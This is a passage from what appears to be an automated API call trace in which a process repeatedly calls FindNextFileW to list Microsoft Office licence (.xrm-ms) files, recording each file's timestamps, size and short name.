dwReserved1=0x0, cFileName="HomeBusinessR_Trial2-pl.xrm-ms", cAlternateFileName="HO87DE~1.XRM")) returned 1 [0194.204] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe423f37b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe423f37b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4370671, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Trial2-ppd.xrm-ms", cAlternateFileName="HOE683~1.XRM")) returned 1 [0194.204] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe415a524, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe415a524, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe423f37b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Trial2-ul-oob.xrm-ms", cAlternateFileName="HO4037~1.XRM")) returned 1 [0194.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe47e8ce2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe47e8ce2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4919fee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentDemoR_BypassTrial180-pl.xrm-ms", cAlternateFileName="HO03E3~1.XRM")) returned 1 [0194.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe46b79f0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe46b79f0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4881625, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x54e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentDemoR_BypassTrial180-ppd.xrm-ms", cAlternateFileName="HO91BA~1.XRM")) returned 1 [0194.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe46b79f0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe46b79f0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe48a788d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d95, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms", cAlternateFileName="HOA685~1.XRM")) returned 1 [0194.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe451402c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe451402c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe47e8ce2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x542a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Grace-ppd.xrm-ms", cAlternateFileName="HOC53F~1.XRM")) returned 1 [0194.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43bca74, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43bca74, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe46ddba0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Grace-ul-oob.xrm-ms", cAlternateFileName="HO8736~1.XRM")) returned 1 [0194.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43241ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43241ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe43bca74, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_OEM_Perp-pl.xrm-ms", cAlternateFileName="HOMEST~1.XRM")) returned 1 [0194.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe498c694, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe498c694, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4a4b257, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5466, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_OEM_Perp-ppd.xrm-ms", cAlternateFileName="HO8BAE~1.XRM")) returned 1 [0194.206] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43967f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43967f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe45d2bff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_OEM_Perp-ul-oob.xrm-ms", cAlternateFileName="HOMEST~4.XRM")) returned 1 [0194.206] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43967f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43967f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe451402c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4df5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_OEM_Perp-ul-phn.xrm-ms", cAlternateFileName="HOMEST~3.XRM")) returned 1 [0194.206] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43967f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43967f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe472a134, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x299b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Retail-pl.xrm-ms", cAlternateFileName="HOMEST~2.XRM")) returned 1 [0194.206] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe49fedb3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe49fedb3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4c3b14f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5464, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Retail-ppd.xrm-ms", cAlternateFileName="HOBB18~1.XRM")) returned 1 [0194.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4a97702, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4a97702, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4b56390, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Retail-ul-oob.xrm-ms", cAlternateFileName="HO08B3~1.XRM")) returned 1 [0194.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe49664a2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe49664a2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4a25005, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ded, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Retail-ul-phn.xrm-ms", cAlternateFileName="HO75FD~1.XRM")) returned 1 [0194.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe49401ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe49401ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe49fedb3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Trial-pl.xrm-ms", cAlternateFileName="HOD8E4~1.XRM")) returned 1 [0194.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4919fee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4919fee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4a97702, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x54df, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Trial-ppd.xrm-ms", cAlternateFileName="HOCCAE~1.XRM")) returned 1 [0194.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe47e8ce2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe47e8ce2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe48f3d44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Trial-ul-oob.xrm-ms", cAlternateFileName="HO7EC9~1.XRM")) returned 1 [0194.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4919fee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4919fee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe49d8b7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Trial2-pl.xrm-ms", cAlternateFileName="HOFD0B~1.XRM")) returned 1 [0194.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe48a788d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe48a788d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe49664a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x54e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Trial2-ppd.xrm-ms", cAlternateFileName="HO2F4B~1.XRM")) returned 1 [0194.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4881625, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4881625, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe49401ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d64, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeStudentR_Trial2-ul-oob.xrm-ms", cAlternateFileName="HO0E95~1.XRM")) returned 1 [0194.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4881625, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4881625, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe498c694, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_BypassTrial180-pl.xrm-ms", cAlternateFileName="MONDOR~1.XRM")) returned 1 [0194.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4bc8a97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4bc8a97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4cad862, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_BypassTrial180-ppd.xrm-ms", cAlternateFileName="MO0B6A~1.XRM")) returned 1 [0194.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4b7c515, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4b7c515, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4c6135d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_BypassTrial180-ul-oob.xrm-ms", cAlternateFileName="MOAFA6~1.XRM")) returned 1 [0194.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4b7c515, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4b7c515, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4cd3aa8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x675b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Grace-ppd.xrm-ms", cAlternateFileName="MO90E0~1.XRM")) returned 1 [0194.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4b09e82, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4b09e82, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4c14eea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d45, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Grace-ul-oob.xrm-ms", cAlternateFileName="MOFCF1~1.XRM")) returned 1 [0194.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4a97702, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4a97702, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4ba2739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3080, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_KMS_Automation-ppd.xrm-ms", cAlternateFileName="MO1A2F~1.XRM")) returned 1 [0194.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe49fedb3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe49fedb3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4a97702, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d65, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_KMS_Automation-ul-oob.xrm-ms", cAlternateFileName="MONDOR~2.XRM")) returned 1 [0194.209] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ae3c90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ae3c90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4bc8a97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x258d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_KMS_Automation-ul.xrm-ms", cAlternateFileName="MOFD63~1.XRM")) returned 1 [0194.209] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4c3b14f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4c3b14f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4d1ff59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x298b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_OEM_Perp-pl.xrm-ms", cAlternateFileName="MO8523~1.XRM")) returned 1 [0194.209] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4a4b257, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4a4b257, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4b09e82, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6760, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_OEM_Perp-ppd.xrm-ms", cAlternateFileName="MONDOR~4.XRM")) returned 1 [0194.209] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4a25005, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4a25005, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4ae3c90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_OEM_Perp-ul-oob.xrm-ms", cAlternateFileName="MONDOR~3.XRM")) returned 1 [0194.209] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4f82560, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4f82560, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe50672e1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_OEM_Perp-ul-phn.xrm-ms", cAlternateFileName="MO05DE~1.XRM")) returned 1 [0194.209] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ddeb2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ddeb2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4e9d706, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Retail-pl.xrm-ms", cAlternateFileName="MO7B3F~1.XRM")) returned 1 [0194.209] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4e04d8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4e04d8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4ec3936, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x675e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Retail-ppd.xrm-ms", cAlternateFileName="MO6A4E~1.XRM")) returned 1 [0194.210] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4d461ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4d461ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4e2afa8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d36, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Retail-ul-oob.xrm-ms", cAlternateFileName="MOD324~1.XRM")) returned 1 [0194.210] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ddeb2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ddeb2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4f82560, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Retail-ul-phn.xrm-ms", cAlternateFileName="MO39E0~1.XRM")) returned 1 [0194.210] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4c3b14f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4c3b14f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4d925e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Subscription-pl.xrm-ms", cAlternateFileName="MOE06D~1.XRM")) returned 1 [0194.210] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4d461ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4d461ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4e511f7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7e69, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Subscription-ppd.xrm-ms", cAlternateFileName="MO3CDC~1.XRM")) returned 1 [0194.210] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4cd3aa8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4cd3aa8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4e04d8b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Subscription-ul-oob.xrm-ms", cAlternateFileName="MOD85A~1.XRM")) returned 1 [0194.210] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4c6135d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4c6135d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4d461ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Subscription2-pl.xrm-ms", cAlternateFileName="MOE696~1.XRM")) returned 1 [0194.210] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4cd3aa8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4cd3aa8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4ddeb2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7e6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Subscription2-ppd.xrm-ms", cAlternateFileName="MOD3B0~1.XRM")) returned 1 [0194.210] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe53fab78, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe53fab78, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe54df9d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, 